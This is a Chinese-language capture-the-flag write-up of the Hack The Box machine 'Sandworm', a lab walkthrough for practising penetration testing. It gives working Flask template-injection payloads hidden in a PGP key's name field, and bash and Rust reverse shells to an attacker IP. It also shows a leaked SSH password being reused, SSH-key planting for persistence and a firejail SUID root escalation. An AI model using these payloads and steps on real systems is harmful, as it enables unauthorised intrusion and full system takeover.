HTB-Sandworm
一、思路概要
1.端口扫描发现域名,目录扫描发现PGP签名验证功能;
2.签名验证功能存在Flask模板注入;
3.Flask模板注入反弹shell获取atlas
用户web权限;
4.配置文件信息泄露获取ssh账户silentobserver
;
5.登录ssh账户,运行pspy64和linpeas发现计划任务和SUID文件;
6.Rust计划任务提权获取atlas
在jailer
组的shell权限;
7.firejail
的SUID提权获取root权限。
二、信息收集
nmap扫描端口服务
发现域名,写入本地hosts文件
echo "10.10.11.218 ssa.htb" >> /etc/hosts
浏览器访问,没什么有价值的东西

扫描目录
gobuster dir -u https://ssa.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.html -t 50 -k
有几个非常规目录
/admin
如下图

/guide
如下图


有通过PGP公钥验证签名的功能,如下图

页面底部还有一段被签名的消息,如下图

/pgp
如下图,是PGP公钥
那么可以把此处的公钥和/guide
页面底部被签名的消息,填入到/guide
页面验证签名功能对应的文本框中,点击验证签名后,弹出如下内容

与/guide
页面底部的提示说明一致,说明签名验证成功,消息的机密性、可用性、完整性被保证

从/guide
页面的版权标志处看出用的python Flask框架,此框架主要漏洞就是SSTI(Server Side Template Injection),此处PGP签名功能有交互,可以在此处用这个功能做测试
三、Flask SSTI(服务端模板注入)
那么在本地kali上,用gpg生成公私钥对
gpg --gen-key #生成密钥对
Real name: {{100*100}} #测试模板注入,如果被执行,会显示10000
Email address: <any_mail>(邮箱随意,此处采用在/guide页面底部发现的atlas@ssa.htb)
gpg --list-keys #列出所有公私钥对
将指定电子邮件地址(此处是atlas@ssa.htb
)的公钥导出为文本格式,并将它保存到public_key.asc
文件中
gpg --armor --export atlas@ssa.htb > public_key.asc
--armor
: 这个选项指示 GnuPG 导出的密钥应该以文本格式(ASCII armored)导出,而不是二进制格式。ASCII armored 密钥更易于共享和传输,通常用于通过电子邮件或文本文件分享公钥。
创建一个名为message.txt
的文本文件,其中包含消息test
。使用 GnuPG 对message.txt
文件中的消息test
进行数字签名,并将带有数字签名的消息保存为 signed_message.asc
。这个签名可以用于验证消息的完整性和来源,确保它没有被篡改,并由私钥持有者签名。
echo "test" > message.txt
gpg --clear-sign --output signed_message.asc message.txt
--clear-sign
: 这个选项告诉 GnuPG 对消息执行clear sign
,这意味着数字签名将被添加到消息的末尾,并且消息内容本身保持可读性。
查看公钥public_key.asc
和被签名的消息 signed_message.asc
。
分别填入到/guide
页面对应的文本框里,验证签名

发现弹出如下内容,其中包含有执行模板注入表达式的结果10000

确认存在模板注入,就可以尝试执行命令。先删除之前生成的密钥对
gpg --delete-secret-keys atlas@ssa.htb
gpg --delete-keys atlas@ssa.htb

重新生成密钥对,在Real name
填入如下内容
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
然后按照之前的思路导出公钥和被签名的消息,重新验证,弹窗如下,命令id
被成功执行

反弹shell如下
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.14.7/9898 0>&1"').read()}}
生成密钥提示Real name
不能有尖括号,那就把base64编码payload,如下
{{self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Lzk4OTggMD4mMSI=" | base64 -d | bash').read()}}
然后按照之前的思路验证签名,开启监听,成功获取到atlas
用户的shell权限

在home目录看到还有一个用户silentboserver
在如下文件找到用户silentboserver
的口令
/home/atlas/.config/httpie/sessions/localhost_5000
username: silentobserver
password: quietLiketheWind22
ssh连接
ssh silentobserver@10.10.11.218
四、Rust计划任务提权
上传运行pspy64,可看到有计划任务会以atlas
用户身份执行/opt/tipnet
目录下的文件
上传linpeas,添加可执行权限,运行,发现如下文件存在SUID
firejail
可以suid提权,利用脚本:https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25
但是firejail
文件的属组是jailer
,linpeas结果可以看到atlas
用户的属组是jailer
,但是此时我们连接的是silentobserver
用户的ssh账户
之前有个反弹得到的atlas
用户的shell权限
用反弹shell的命令行窗口从本地kali获取脚本,提示命令未找到,那可能这个shell是web权限,比较低。有计划任务会以atlas
用户身份执行/opt/tipnet
目录,那么就可以尝试通过此计划任务来反弹一个shell
此时看另一个可疑的suid文件,在它的同级目录下发现如下内容
对于silentobserver
用户,只有/opt/crates/logger/src/lib.rs
有可写权限
参考:https://doc.rust-lang.org/std/process/struct.Command.html
在/opt/crates/logger/src/lib.rs
添加如下Rust代码,尝试反弹shell
use std::process::Command;
let output = Command::new("bash")
.arg("-c")
.arg("bash -i >& /dev/tcp/10.10.14.7/9898 0>&1")
.output()
.expect("failed to execute process");
开启监听,稍等片刻,成功反弹获得atlas用户jailer组的shell权限
ssh公钥伪造实现权限维持
由于每次执行完此定时任务后,/opt/crates/logger/src/lib.rs
会自动恢复成原来的样子。这样如果shell断了,想要重连,又要重新修改文件并等待反弹。另外在此处发现atlas
的home
目录下有.ssh
目录,那么就可以尝试ssh公钥伪造登录。
本地kali生成rsa公钥和私钥,分别默认保存在/root/.ssh/id_rsa.pub
和/root/.ssh/id_rsa
ssh-keygen -t rsa #两次默认回车即可
开启http服务,把公钥id_rsa.pub
传输到目标靶机/home/atlas/.ssh
目录下,并重命名为authorized_keys
wget http://10.10.14.7/id_rsa.pub -O authorized_keys
然后本地执行如下命令登录ssh
ssh -i id_rsa atlas@10.10.11.218
五、firejail SUID提权
上传firejail的利用脚本并执行
重开一个ssh窗口,执行如下命令
firejail --join=<number>
su -
成功获取root权限
Over!
